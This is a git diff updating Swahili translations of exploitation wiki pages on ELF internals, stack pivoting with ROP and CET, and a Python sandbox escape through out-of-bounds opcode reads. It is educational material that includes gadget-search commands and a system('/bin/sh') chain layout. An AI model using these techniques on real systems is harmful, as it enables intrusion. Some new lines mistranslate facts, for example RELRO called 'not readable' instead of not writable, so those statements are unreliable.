diff --git a/src/SUMMARY.md b/src/SUMMARY.md index fa7568927..432bf44fc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -881,7 +881,6 @@ - [Interesting Http](todo/interesting-http.md) - [Rust Basics](todo/rust-basics.md) - [More Tools](todo/more-tools.md) -- [MISC](todo/misc.md) - [Hardware Hacking](todo/hardware-hacking/README.md) - [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md) - [I2C](todo/hardware-hacking/i2c.md) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index 7241c7449..8e7fb9626 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -54,7 +54,7 @@ Inaonyesha njia ya loader inayotumika kupakia binary kwenye kumbukumbu. Vichwa hivi vinatumika kuonyesha **jinsi ya kupakia binary kwenye kumbukumbu.**\ Kila **LOAD** header inaonyesha eneo la **kumbukumbu** (ukubwa, ruhusa na usawa) na inaonyesha bytes za ELF **binary za kunakili huko**. -Kwa mfano, ya pili ina ukubwa wa 0x1190, inapaswa kuwa kwenye 0x1fc48 ikiwa na ruhusa za kusoma na kuandika na itajazwa na 0x528 kutoka kwenye ofset 0xfc48 (haijaza nafasi yote iliyohifadhiwa). Kumbukumbu hii itakuwa na sehemu `.init_array .fini_array .dynamic .got .data .bss`. +Kwa mfano, ya pili ina ukubwa wa 0x1190, inapaswa kuwa kwenye 0x1fc48 ikiwa na ruhusa za kusoma na kuandika na itajazwa na 0x528 kutoka kwenye ofset 0xfc48 (haitajazi nafasi yote iliyohifadhiwa). Kumbukumbu hii itakuwa na sehemu `.init_array .fini_array .dynamic .got .data .bss`. ### DYNAMIC @@ -64,7 +64,7 @@ Hii header inasaidia kuunganisha programu na utegemezi wao wa maktaba na kutekel Hii inahifadhi taarifa za metadata za muuzaji kuhusu binary. -- On x86-64, `readelf -n` will show `GNU_PROPERTY_X86_FEATURE_1_*` flags inside `.note.gnu.property`. If you see `IBT` and/or `SHSTK`, the binary was built with CET (Indirect Branch Tracking and/or Shadow Stack). This impacts ROP/JOP because indirect branch targets must start with an `ENDBR64` instruction and returns are checked against a shadow stack. See the CET page for details and bypass notes. +- Kwenye x86-64, `readelf -n` itaonyesha bendera `GNU_PROPERTY_X86_FEATURE_1_*` ndani ya `.note.gnu.property`. Ikiwa unaona `IBT` na/au `SHSTK`, binary ilijengwa na CET (Ufuatiliaji wa Tawi la Kando na/au Stack ya Kivuli). Hii inaathiri ROP/JOP kwa sababu malengo ya tawi la kando lazima yaanze na amri ya `ENDBR64` na marejeo yanakaguliwa dhidi ya stack ya kivuli. Angalia ukurasa wa CET kwa maelezo na vidokezo vya kupita. {{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md @@ -72,23 +72,23 @@ Hii inahifadhi taarifa za metadata za muuzaji kuhusu binary. ### GNU_EH_FRAME -Inafafanua eneo la meza za kuondoa stack, zinazotumiwa na debuggers na kazi za usimamizi wa makosa ya C++. +Inafafanua eneo la meza za stack unwind, zinazotumiwa na debuggers na kazi za usimamizi wa makosa ya C++. ### GNU_STACK Inajumuisha usanidi wa ulinzi wa kuzuia utekelezaji wa stack. Ikiwa imewezeshwa, binary haitakuwa na uwezo wa kutekeleza msimbo kutoka kwenye stack. -- Check with `readelf -l ./bin | grep GNU_STACK`. To forcibly toggle it during tests you can use `execstack -s|-c ./bin`. +- Angalia kwa `readelf -l ./bin | grep GNU_STACK`. Ili kulazimisha kubadilisha wakati wa majaribio unaweza kutumia `execstack -s|-c ./bin`. ### GNU_RELRO -Inaonyesha usanidi wa RELRO (Relocation Read-Only) wa binary. Ulinzi huu utaashiria kama isiyo na kuandika sehemu fulani za kumbukumbu (kama `GOT` au meza za `init` na `fini`) baada ya programu kupakiwa na kabla ya kuanza kutekelezwa. +Inaonyesha usanidi wa RELRO (Relocation Read-Only) wa binary. Ulinzi huu utaashiria kama isiyo na kusoma sehemu fulani za kumbukumbu (kama `GOT` au meza za `init` na `fini`) baada ya programu kupakiwa na kabla ya kuanza kutekeleza. -Katika mfano wa awali inakopi bytes 0x3b8 hadi 0x1fc48 kama isiyo na kuandika ikihusisha sehemu `.init_array .fini_array .dynamic .got .data .bss`. +Katika mfano wa awali inakopi 0x3b8 bytes hadi 0x1fc48 kama isiyo na kusoma ikihusisha sehemu `.init_array .fini_array .dynamic .got .data .bss`. Kumbuka kwamba RELRO inaweza kuwa ya sehemu au kamili, toleo la sehemu halilindi sehemu **`.plt.got`**, ambayo inatumika kwa **lazy binding** na inahitaji nafasi hii ya kumbukumbu kuwa na **ruhusa za kuandika** ili kuandika anwani za maktaba wakati wa kwanza kutafutwa mahali pake. -> For exploitation techniques and up-to-date bypass notes, check the dedicated page: +> Kwa mbinu za unyakuzi na vidokezo vya kupita vya kisasa, angalia ukurasa maalum: {{#ref}} ../common-binary-protections-and-bypasses/relro.md @@ -96,11 +96,11 @@ Kumbuka kwamba RELRO inaweza kuwa ya sehemu au kamili, toleo la sehemu halilindi ### TLS -Inafafanua meza ya TLS entries, ambayo inahifadhi taarifa kuhusu mabadiliko ya ndani ya nyuzi. +Inafafanua meza ya TLS entries, ambayo inahifadhi taarifa kuhusu mabadiliko ya nyuzi za ndani. ## Section Headers -Vichwa vya sehemu vinatoa mtazamo wa kina zaidi wa ELF binary. +Vichwa vya sehemu vinatoa mtazamo wa kina zaidi wa binary ya ELF. ``` objdump lnstat -h @@ -161,26 +161,26 @@ CONTENTS, READONLY 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 CONTENTS, READONLY ``` -It also indicates the location, offset, permissions but also the **type of data** it section has. +Inayoonyesha pia mahali, offset, ruhusa lakini pia **aina ya data** ambayo sehemu hiyo ina. -### Meta Sections +### Sehemu za Meta -- **String table**: Inajumuisha nyuzi zote zinazohitajika na faili ya ELF (lakini si zile zinazotumiwa na programu). Kwa mfano inajumuisha majina ya sehemu kama `.text` au `.data`. Na ikiwa `.text` iko kwenye offset 45 katika jedwali la nyuzi itatumia nambari **45** katika uwanja wa **jina**. +- **String table**: Inayo kila nyuzi inayohitajika na faili la ELF (lakini si zile zinazotumiwa na programu). Kwa mfano, ina majina ya sehemu kama `.text` au `.data`. Na ikiwa `.text` iko kwenye offset 45 katika jedwali la nyuzi, itatumia nambari **45** katika uwanja wa **jina**. - Ili kupata mahali ambapo jedwali la nyuzi liko, ELF ina kipanga njia kwa jedwali la nyuzi. -- **Symbol table**: Inajumuisha taarifa kuhusu alama kama jina (offset katika jedwali la nyuzi), anwani, ukubwa na metadata zaidi kuhusu alama. +- **Symbol table**: Inayo taarifa kuhusu alama kama jina (offset katika jedwali la nyuzi), anwani, ukubwa na metadata zaidi kuhusu alama hiyo. -### Main Sections +### Sehemu Kuu - **`.text`**: Maagizo ya programu ya kuendesha. - **`.data`**: Vigezo vya kimataifa vyenye thamani iliyofafanuliwa katika programu. - **`.bss`**: Vigezo vya kimataifa vilivyotelekezwa (au kuanzishwa kuwa sifuri). Vigezo hapa vinakaguliwa kiotomatiki kuwa sifuri hivyo kuzuia sifuri zisizohitajika kuongezwa kwenye binary. - **`.rodata`**: Vigezo vya kimataifa visivyobadilika (sehemu ya kusoma tu). -- **`.tdata`** na **`.tbss`**: Kama .data na .bss wakati vigezo vya ndani ya nyuzi vinapotumika (`__thread_local` katika C++ au `__thread` katika C). +- **`.tdata`** na **`.tbss`**: Kama .data na .bss wakati vigezo vya ndani ya thread vinapotumika (`__thread_local` katika C++ au `__thread` katika C). - **`.dynamic`**: Angalia hapa chini. -## Symbols +## Alama -Symbols ni eneo lenye jina katika programu ambalo linaweza kuwa kazi, kitu cha data cha kimataifa, vigezo vya ndani ya nyuzi... +Alama ni mahali paliponakiliwa katika programu ambayo inaweza kuwa kazi, kitu cha data cha kimataifa, vigezo vya ndani ya thread... ``` readelf -s lnstat @@ -360,13 +360,13 @@ Hivyo wakati programu inaita malloc, kwa kweli inaita mahali husika pa `malloc` #### Modern linking behaviors that impact exploitation -- `-z now` (Full RELRO) inazima uhusiano wa polepole; entries za PLT bado zipo lakini GOT/PLT imepangwa kuwa ya kusoma tu, hivyo mbinu kama **GOT overwrite** na **ret2dlresolve** hazitafanya kazi dhidi ya binary kuu (maktaba zinaweza bado kuwa sehemu ya RELRO). Tazama: +- `-z now` (Full RELRO) inazima uhusiano wa polepole; ingawa PLT entries bado zipo lakini GOT/PLT imepangwa kuwa ya kusoma tu, hivyo mbinu kama **GOT overwrite** na **ret2dlresolve** hazitafanya kazi dhidi ya binary kuu (maktaba zinaweza bado kuwa sehemu ya RELRO). Tazama: {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} -- `-fno-plt` inafanya kompyuta kuita kazi za nje kupitia **GOT entry moja kwa moja** badala ya kupitia PLT stub. Utaona mfuatano wa wito kama `mov reg, [got]; call reg` badala ya `call func@plt`. Hii inapunguza matumizi mabaya ya utekelezaji wa makisio na kubadilisha kidogo uwindaji wa ROP gadget kuzunguka PLT stubs. +- `-fno-plt` inafanya kompyuta kuita kazi za nje kupitia **GOT entry moja kwa moja** badala ya kupitia PLT stub. Utaona mfuatano wa wito kama `mov reg, [got]; call reg` badala ya `call func@plt`. Hii inapunguza matumizi mabaya ya utekelezaji wa makadirio na kubadilisha kidogo uwindaji wa ROP gadget kuzunguka PLT stubs. - PIE vs static-PIE: PIE (ET_DYN na `INTERP`) inahitaji mzigo wa dynamic na inasaidia mashine ya kawaida ya PLT/GOT. Static-PIE (ET_DYN bila `INTERP`) ina uhamasishaji unaotumika na mzigo wa kernel na hakuna `ld.so`; tarajia hakuna ufumbuzi wa PLT wakati wa kutekeleza. @@ -378,7 +378,7 @@ Hivyo wakati programu inaita malloc, kwa kweli inaita mahali husika pa `malloc` ## Program Initialization -Baada ya programu kupakuliwa ni wakati wa kuikimbia. Hata hivyo, msimbo wa kwanza unaotekelezwa **sio kila wakati kazi ya `main`**. Hii ni kwa sababu kwa mfano katika C++ ikiwa **kigezo cha kimataifa ni kitu cha darasa**, kitu hiki lazima **kijazwe** **kabla** ya main kuendesha, kama ilivyo: +Baada ya programu kupakuliwa ni wakati wa kuendesha. Hata hivyo, msimbo wa kwanza unaotekelezwa **sio kila wakati kazi ya `main`**. Hii ni kwa sababu kwa mfano katika C++ ikiwa **kigezo cha kimataifa ni kitu cha darasa**, kitu hiki lazima kiwe **kimeanzishwa** **kabla** ya main kuendesha, kama ilivyo: ```cpp #include // g++ autoinit.cpp -o autoinit @@ -406,17 +406,17 @@ Kutoka kwa msimbo wa C inawezekana kupata matokeo sawa kwa kutumia nyongeza za G __attributte__((constructor)) //Add a constructor to execute before __attributte__((destructor)) //Add to the destructor list ``` -From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF. +Kwa mtazamo wa mkusanyiko, ili kutekeleza vitendo hivi kabla na baada ya kazi ya `main` kutekelezwa, inawezekana kuunda kazi ya `init` na kazi ya `fini` ambazo zitarejelewa katika sehemu ya dynamic kama **`INIT`** na **`FIN`**. na zimewekwa katika sehemu za `init` na `fini` za ELF. -The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments. +Chaguo lingine, kama ilivyotajwa, ni kurejelea orodha **`__CTOR_LIST__`** na **`__DTOR_LIST__`** katika viingilio vya **`INIT_ARRAY`** na **`FINI_ARRAY`** katika sehemu ya dynamic na urefu wa hizi unashindikizwa na **`INIT_ARRAYSZ`** na **`FINI_ARRAYSZ`**. Kila kiingilio ni kiashiria cha kazi ambacho kitaitwa bila hoja. -Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers. +Zaidi ya hayo, pia inawezekana kuwa na **`PREINIT_ARRAY`** yenye **viashiria** ambavyo vitatekelezwa **kabla** ya viashiria vya **`INIT_ARRAY`**. -#### Ujumbe wa Ukatili +#### Kumbukumbu ya Ukatili -- Chini ya Partial RELRO hizi arrays zinaishi katika kurasa ambazo bado zinaweza kuandikwa kabla `ld.so` haijabadilisha `PT_GNU_RELRO` kuwa isiyoandikwa. Ikiwa unapata kuandika bila mpangilio mapema vya kutosha au unaweza kulenga arrays zinazoweza kuandikwa za maktaba, unaweza kuingilia kati mtiririko wa udhibiti kwa kuandika tena kipengee na kazi unayochagua. Chini ya Full RELRO zinakuwa zisizoandikwa wakati wa utendaji. +- Chini ya Partial RELRO hizi orodha zinaishi katika kurasa ambazo bado zinaweza kuandikwa kabla `ld.so` haijageuza `PT_GNU_RELRO` kuwa isiyoandikwa. Ikiwa unapata kuandika bila mpangilio mapema vya kutosha au unaweza kulenga orodha zinazoweza kuandikwa za maktaba, unaweza kuingilia mtiririko wa udhibiti kwa kufuta kiingilio na kazi unayochagua. Chini ya Full RELRO zinaweza kusomwa tu wakati wa kutekeleza. -- Kwa matumizi ya lazy binding ya linker ya dynamic kutatua alama zisizo na mpangilio wakati wa utendaji, angalia ukurasa maalum: +- Kwa matumizi ya lazy binding ya linker ya dynamic kutatua alama zisizo za kawaida wakati wa kutekeleza, angalia ukurasa maalum: {{#ref}} ../rop-return-oriented-programing/ret2dlresolve.md @@ -425,10 +425,10 @@ Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** tha ### Agizo la Uanzishaji 1. Programu inawekwa kwenye kumbukumbu, mabadiliko ya kimataifa ya statiki yanaanzishwa katika **`.data`** na yasiyoanzishwa yanawekwa sifuri katika **`.bss`**. -2. **Mahitaji yote** ya programu au maktaba yanaanzishwa na **kuunganishwa kwa dynamic** kunatekelezwa. -3. **`PREINIT_ARRAY`** kazi zinafanywa. -4. **`INIT_ARRAY`** kazi zinafanywa. -5. Ikiwa kuna kipengee cha **`INIT`** kinaitwa. +2. **Mahitaji** yote ya programu au maktaba yana **anzishwa** na **kuunganishwa kwa dynamic** kunatekelezwa. +3. Kazi za **`PREINIT_ARRAY`** zinafanywa. +4. Kazi za **`INIT_ARRAY`** zinafanywa. +5. Ikiwa kuna kiingilio cha **`INIT`** kinaitwa. 6. Ikiwa ni maktaba, dlopen inamalizika hapa, ikiwa ni programu, ni wakati wa kuita **nukta halisi ya kuingia** (`main` function). ## Hifadhi ya Mitaa ya Thread (TLS) @@ -439,19 +439,19 @@ Kila thread itahifadhi eneo la kipekee kwa ajili ya variable hii hivyo ni thread Wakati hii inatumika sehemu **`.tdata`** na **`.tbss`** zinatumika katika ELF. Ambazo ni kama `.data` (iliyowekwa) na `.bss` (siyo iliyowekwa) lakini kwa TLS. -Kila variable itakuwa na kipengee katika kichwa cha TLS kinachoelezea ukubwa na offset ya TLS, ambayo ni offset itakayotumia katika eneo la data la ndani la thread. +Kila variable itakuwa na kiingilio katika kichwa cha TLS kinachoelezea ukubwa na offset ya TLS, ambayo ni offset itakayotumia katika eneo la data la ndani la thread. `__TLS_MODULE_BASE` ni alama inayotumika kurejelea anwani ya msingi ya hifadhi ya ndani ya thread na inaelekeza kwenye eneo katika kumbukumbu ambalo lina data zote za ndani za thread za moduli. -## Vector ya Msaada (auxv) na vDSO +## Vector ya Msaidizi (auxv) na vDSO -Kernel ya Linux inapita vector ya msaada kwa michakato inayoshikilia anwani na bendera muhimu kwa utendaji: +Kernel ya Linux inapita vector ya msaidizi kwa michakato inayoshikilia anwani na bendera muhimu kwa wakati wa kutekeleza: - `AT_RANDOM`: inaelekeza kwa bytes 16 za nasibu zinazotumiwa na glibc kwa stack canary na mbegu nyingine za PRNG. - `AT_SYSINFO_EHDR`: anwani ya msingi ya ramani ya vDSO (inasaidia kupata `__kernel_*` syscalls na gadgets). - `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, n.k. -Kama mshambuliaji, ikiwa unaweza kusoma kumbukumbu au faili chini ya `/proc`, mara nyingi unaweza kuvuja hizi bila infoleak katika mchakato wa lengo: +Kama mshambuliaji, ikiwa unaweza kusoma kumbukumbu au faili chini ya `/proc`, mara nyingi unaweza kuvuja hizi bila kuvuja taarifa katika mchakato wa lengo: ```bash # Show the auxv of a running process cat /proc/$(pidof target)/auxv | xxd diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index 223575238..a94581dbf 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -16,24 +16,24 @@ Na kwa kuwa **EBP/RBP iliyohifadhiwa iko kwenye stack** kabla ya EIP/RIP iliyohi > Maelezo > - Kwenye 64-bit, badilisha EBP→RBP na ESP→RSP. Maana ni sawa. -> - Wasanidi programu wengine huacha kiashiria cha fremu (angalia "EBP huenda isitumike"). Katika kesi hiyo, `leave` huenda isiwepo na mbinu hii haitafanya kazi. +> - Wasanidi programu wengine wanaacha pointer ya fremu (angalia "EBP huenda isitumike"). Katika kesi hiyo, `leave` huenda isiwepo na mbinu hii haitafanya kazi. ### EBP2Ret -Mbinu hii ni muhimu hasa unapoweza **kubadilisha EBP/RBP iliyohifadhiwa lakini huna njia ya moja kwa moja ya kubadilisha EIP/RIP**. Inatumia tabia ya epilogue ya kazi. +Mbinu hii ni muhimu hasa unapoweza **kubadilisha EBP/RBP iliyohifadhiwa lakini huna njia ya moja kwa moja kubadilisha EIP/RIP**. Inatumia tabia ya epilogue ya kazi. -Ikiwa, wakati wa utekelezaji wa `fvuln`, unafanikiwa kuingiza **EBP ya uwongo** kwenye stack inayorejelea eneo katika kumbukumbu ambapo anwani ya shellcode/ROP chain yako iko (plus bytes 8 kwenye amd64 / bytes 4 kwenye x86 kuzingatia `pop`), unaweza kudhibiti RIP kwa njia isiyo ya moja kwa moja. Kadri kazi inavyorejea, `leave` inaweka RSP kwenye eneo lililotengenezwa na `pop rbp` inayopunguza RSP, **ikiifanya iweke kwenye anwani iliyohifadhiwa na mshambuliaji hapo**. Kisha `ret` itatumia anwani hiyo. +Ikiwa, wakati wa utekelezaji wa `fvuln`, unafanikiwa kuingiza **EBP ya uwongo** kwenye stack inayorejelea eneo katika kumbukumbu ambapo anwani ya shellcode/ROP chain yako iko (plus bytes 8 kwenye amd64 / 4 bytes kwenye x86 kuzingatia `pop`), unaweza kudhibiti RIP kwa njia isiyo ya moja kwa moja. Kadri kazi inavyorejea, `leave` inaweka RSP kwenye eneo lililotengenezwa na `pop rbp` inayopunguza RSP, **ikiifanya iwe na anwani iliyohifadhiwa na mshambuliaji hapo**. Kisha `ret` itatumia anwani hiyo. Kumbuka jinsi unavyohitaji kujua anwani 2: anwani ambapo ESP/RSP itakwenda, na thamani iliyohifadhiwa kwenye anwani hiyo ambayo `ret` itatumia. #### Ujenzi wa Ulaghai -Kwanza unahitaji kujua **anwani ambapo unaweza kuandika data/anwani zisizo na mipaka**. RSP itakuwa inarejelea hapa na **itakula `ret` ya kwanza**. +Kwanza unahitaji kujua **anwani ambapo unaweza kuandika data/anwani zisizo na mpangilio**. RSP itakuwa inarejelea hapa na **itakula `ret` ya kwanza**. Kisha, unahitaji kuchagua anwani inayotumika na `ret` ambayo itafanya **hamasisho la utekelezaji**. Unaweza kutumia: - Anwani halali ya [**ONE_GADGET**](https://github.com/david942j/one_gadget). -- Anwani ya **`system()`** ikifuatiwa na kurudi sahihi na hoja (kwenye x86: lengo la `ret` = `&system`, kisha bytes 4 za takataka, kisha `&"/bin/sh"`). +- Anwani ya **`system()`** ikifuatiwa na kurudi sahihi na hoja (kwenye x86: `ret` lengo = `&system`, kisha bytes 4 za takataka, kisha `&"/bin/sh"`). - Anwani ya **`jmp esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ikifuatiwa na shellcode ya ndani. - Mnyororo wa [**ROP**](../rop-return-oriented-programing/index.html) uliowekwa kwenye kumbukumbu inayoweza kuandikwa. @@ -41,7 +41,7 @@ Kumbuka kwamba kabla ya anwani yoyote kati ya hizi katika eneo lililodhibitiwa, #### Ulaghai wa Off-By-One -Kuna toleo linalotumika unapoweza **kubadilisha tu byte ya chini zaidi ya EBP/RBP iliyohifadhiwa**. Katika kesi hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka na **`ret`** lazima liwe na bytes tatu/tano za kwanza zinazoshiriki na EBP/RBP ya awali ili kuweza kuhamasisha kwa kuandika byte 1. Kawaida byte ya chini (offset 0x00) huongezwa ili kuruka kadri inavyowezekana ndani ya ukurasa wa karibu/eneo lililopangwa. +Kuna toleo linalotumika unapoweza **kubadilisha tu byte ya chini zaidi ya EBP/RBP iliyohifadhiwa**. Katika kesi hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka na **`ret`** lazima liwe na bytes tatu/tano za kwanza zinazoshiriki na EBP/RBP ya asili ili kuweza kuhamasisha kwa kuandika byte 1. Kawaida byte ya chini (offset 0x00) huongezwa ili kuruka kadri inavyowezekana ndani ya ukurasa wa karibu/eneo lililopangwa. Pia ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kuongeza uwezekano kwamba RSP mpya inaelekea ndani ya sled na mnyororo wa mwisho wa ROP unatekelezwa. @@ -188,9 +188,9 @@ Angalia mbinu ya ret2esp hapa: ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} -### Kupata gadgets za pivot haraka +### Kupata vifaa vya pivot haraka -Tumia mtafutaji wako wa gadgets unayependa kutafuta primitives za pivot za jadi: +Tumia mtafutaji wako wa vifaa unavyopenda kutafuta primitives za pivot za jadi: - `leave ; ret` kwenye kazi au katika maktaba - `pop rsp` / `xchg rax, rsp ; ret` @@ -210,15 +210,15 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp" Mkakati thabiti wa pivot unaotumika katika CTFs/exploits nyingi: -1) Tumia overflow ndogo ya awali kuita `read`/`recv` kwenye eneo kubwa linaloweza kuandikwa (mfano, `.bss`, heap, au kumbukumbu ya RW iliyopangwa) na weka mchaini kamili ya ROP hapo. -2) Rudisha kwenye gadget ya pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) ili kuhamasisha RSP kwenye eneo hilo. -3) Endelea na mchaini iliyopangwa (mfano, leak libc, ita `mprotect`, kisha `read` shellcode, kisha ruka kwake). +1) Tumia overflow ndogo ya awali kuita `read`/`recv` kwenye eneo kubwa linaloweza kuandikwa (mfano, `.bss`, heap, au kumbukumbu ya RW iliyopangwa) na weka mnyororo kamili wa ROP hapo. +2) Rudisha kwenye gadget ya pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) ili kuhamasisha RSP kwenda kwenye eneo hilo. +3) Endelea na mnyororo wa hatua (mfano, leak libc, ita `mprotect`, kisha `read` shellcode, kisha ruka kwake). ## Modern mitigations that break stack pivoting (CET/Shadow Stack) -CPUs na OS za kisasa za x86 zinaendelea kutumia **CET Shadow Stack (SHSTK)**. Ikiwa SHSTK imewezeshwa, `ret` inalinganisha anwani ya kurudi kwenye stack ya kawaida na stack ya kivuli iliyolindwa na vifaa; tofauti yoyote inasababisha kosa la Control-Protection na kuua mchakato. Hivyo, mbinu kama EBP2Ret/leave;ret-based pivots zitakufa mara tu `ret` ya kwanza itakapotekelezwa kutoka kwenye stack iliyopivoted. +CPUs na OS za kisasa za x86 zinaendelea kutumia **CET Shadow Stack (SHSTK)**. Ikiwa SHSTK imewezeshwa, `ret` inalinganisha anwani ya kurudi kwenye stack ya kawaida na stack ya kivuli iliyolindwa na vifaa; tofauti yoyote inasababisha kosa la Control-Protection na kuua mchakato. Hivyo, mbinu kama EBP2Ret/leave;ret-based pivots zitakufa mara tu `ret` ya kwanza itakapotekelezwa kutoka kwenye stack iliyopivot. -- Kwa maelezo ya nyuma na maelezo ya kina angalia: +- Kwa maelezo ya msingi na ya kina angalia: {{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md @@ -246,7 +246,7 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr ## ARM64 -Katika ARM64, **prologue na epilogues** za kazi **hazihifadhi na kurejesha register ya SP** kwenye stack. Zaidi ya hayo, **`RET`** hairejeshi kwenye anwani inayotajwa na SP, bali **kwenye anwani ndani ya `x30`**. +Katika ARM64, **prologue na epilogues** za kazi **hazihifadhi na kurejesha register ya SP** kwenye stack. Zaidi ya hayo, **`RET`** hairejeshi kwenye anwani inayotolewa na SP, bali **kwenye anwani ndani ya `x30`**. Hivyo, kwa kawaida, kwa kutumia tu epilogue hu **wezi kudhibiti register ya SP** kwa kuandika data fulani ndani ya stack. Na hata kama unafanikiwa kudhibiti SP bado unahitaji njia ya **kudhibiti register ya `x30`**. @@ -267,7 +267,7 @@ ret ``` > [!CAUTION] -> Njia ya kufanya kitu kinachofanana na pivoting ya stack katika ARM64 itakuwa kuwa na uwezo wa **kudhibiti `SP`** (kwa kudhibiti register fulani ambayo thamani yake inapitishwa kwa `SP` au kwa sababu fulani `SP` inachukua anwani yake kutoka kwenye stack na tuna overflow) na kisha **kuandika epilogue** ili kupakia register ya **`x30`** kutoka kwa **`SP`** iliyo **dhibitiwa** na **`RET`** kwake. +> Njia ya kufanya kitu kinachofanana na pivoting ya stack katika ARM64 itakuwa kuwa na uwezo wa **kudhibiti `SP`** (kwa kudhibiti register fulani ambayo thamani yake inapitishwa kwa `SP` au kwa sababu fulani `SP` inachukua anwani yake kutoka kwenye stack na tuna overflow) na kisha **kuabudu epilogue** ili kupakia register ya **`x30`** kutoka kwa **`SP`** iliyo **dhibitiwa** na **`RET`** kwake. Pia katika ukurasa ufuatao unaweza kuona sawa na **Ret2esp katika ARM64**: diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md index 438784163..dbb0fc6de 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md @@ -19,13 +19,13 @@ if len(source) > 13337: exit(print(f"{'L':O<13337}NG")) code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=()) print(eval(code, {'__builtins__': {}}))1234 ``` -Unaweza kuingiza msimbo wa Python wa kawaida, na utaandikwa kuwa [Python code object](https://docs.python.org/3/c-api/code.html). Hata hivyo, `co_consts` na `co_names` za kitu hicho cha msimbo zitabadilishwa kuwa tuple tupu kabla ya kutathmini kitu hicho cha msimbo. +Unaweza kuingiza msimbo wa Python wa aina yoyote, na utaandikwa kuwa [Python code object](https://docs.python.org/3/c-api/code.html). Hata hivyo, `co_consts` na `co_names` za kitu hicho cha msimbo zitabadilishwa kuwa tuple tupu kabla ya kutathmini kitu hicho cha msimbo. -Hivyo katika njia hii, kila usemi unao na consts (mfano, nambari, nyuzi n.k.) au majina (mfano, mabadiliko, kazi) yanaweza kusababisha makosa ya segmentation mwishoni. +Hivyo katika njia hii, kila usemi unao na consts (k.m. nambari, nyuzi n.k.) au majina (k.m. mabadiliko, kazi) yanaweza kusababisha makosa ya segmentation mwishoni. -### Out of Bound Read +### Kusoma Nje ya Mipaka -Segfault inatokea vipi? +Je, makosa ya segfault yanatokea vipi? Tuanzie na mfano rahisi, `[a, b, c]` inaweza kuandikwa kuwa bytecode ifuatayo. ``` @@ -49,19 +49,19 @@ PUSH(value); FAST_DISPATCH(); }1234567 ``` -Kwa njia hii tunaweza kutumia kipengele cha OOB kupata "jina" kutoka kwa ofset ya kumbukumbu isiyo na mpangilio. Ili kuhakikisha jina lililo nayo na ofset yake ni ipi, jaribu tu `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... Na unaweza kupata kitu katika takriban oparg > 700. Unaweza pia kujaribu kutumia gdb kuangalia mpangilio wa kumbukumbu bila shaka, lakini sidhani kama itakuwa rahisi zaidi? +Kwa njia hii tunaweza kutumia kipengele cha OOB kupata "jina" kutoka kwa ofset ya kumbukumbu isiyo na mpangilio. Ili kuhakikisha jina lililo nayo na ofset yake, jaribu tu `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... Na unaweza kupata kitu katika takriban oparg > 700. Unaweza pia kujaribu kutumia gdb kuangalia mpangilio wa kumbukumbu bila shaka, lakini sidhani kama itakuwa rahisi zaidi? ### Generating the Exploit -Mara tu tunapopata hizo ofset muhimu za majina / consts, tunawezaje kupata jina / const kutoka kwa ofset hiyo na kulitumia? Hapa kuna hila kwako:\ -Tuchukulie tunaweza kupata jina la `__getattribute__` kutoka ofset 5 (`LOAD_NAME 5`) na `co_names=()`, kisha fanya mambo yafuatayo: +Mara tu tunapopata hizo ofset muhimu za majina / consts, tuna _wezaje_ kupata jina / const kutoka kwa ofset hiyo na kulitumie? Hapa kuna hila kwako:\ +Tuchukulie kwamba tunaweza kupata jina la `__getattribute__` kutoka ofset 5 (`LOAD_NAME 5`) na `co_names=()`, kisha fanya mambo yafuatayo: ```python [a,b,c,d,e,__getattribute__] if [] else [ [].__getattribute__ # you can get the __getattribute__ method of list object now! ]1234 ``` -> Kumbuka kwamba si lazima kuipa jina `__getattribute__`, unaweza kuipa jina fupi zaidi au la ajabu zaidi 